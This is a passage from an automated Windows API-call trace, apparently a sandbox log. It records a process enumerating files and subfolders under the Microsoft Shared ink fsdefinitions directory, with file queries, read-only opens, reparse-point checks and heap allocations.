(HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0046.888] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5018 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6328 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5038 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6430 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5058 [0046.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6538 [0046.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0046.889] GetLastError () returned 0x12 [0046.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.889] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.889] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0046.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.894] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.894] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.895] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.895] NtClose (Handle=0x174) returned 0x0 [0046.895] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.895] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.895] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.896] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5078 [0046.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6958 [0046.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.896] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0046.896] GetLastError () returned 0x12 [0046.896] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.897] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0046.897] GetLastError () returned 0x12 [0046.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.897] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0046.897] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0046.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.897] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.897] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.897] NtClose (Handle=0x17c) returned 0x0 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5098 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6a60 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.898] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0046.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0046.898] GetLastError () returned 0x12 [0046.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.899] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0046.899] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, 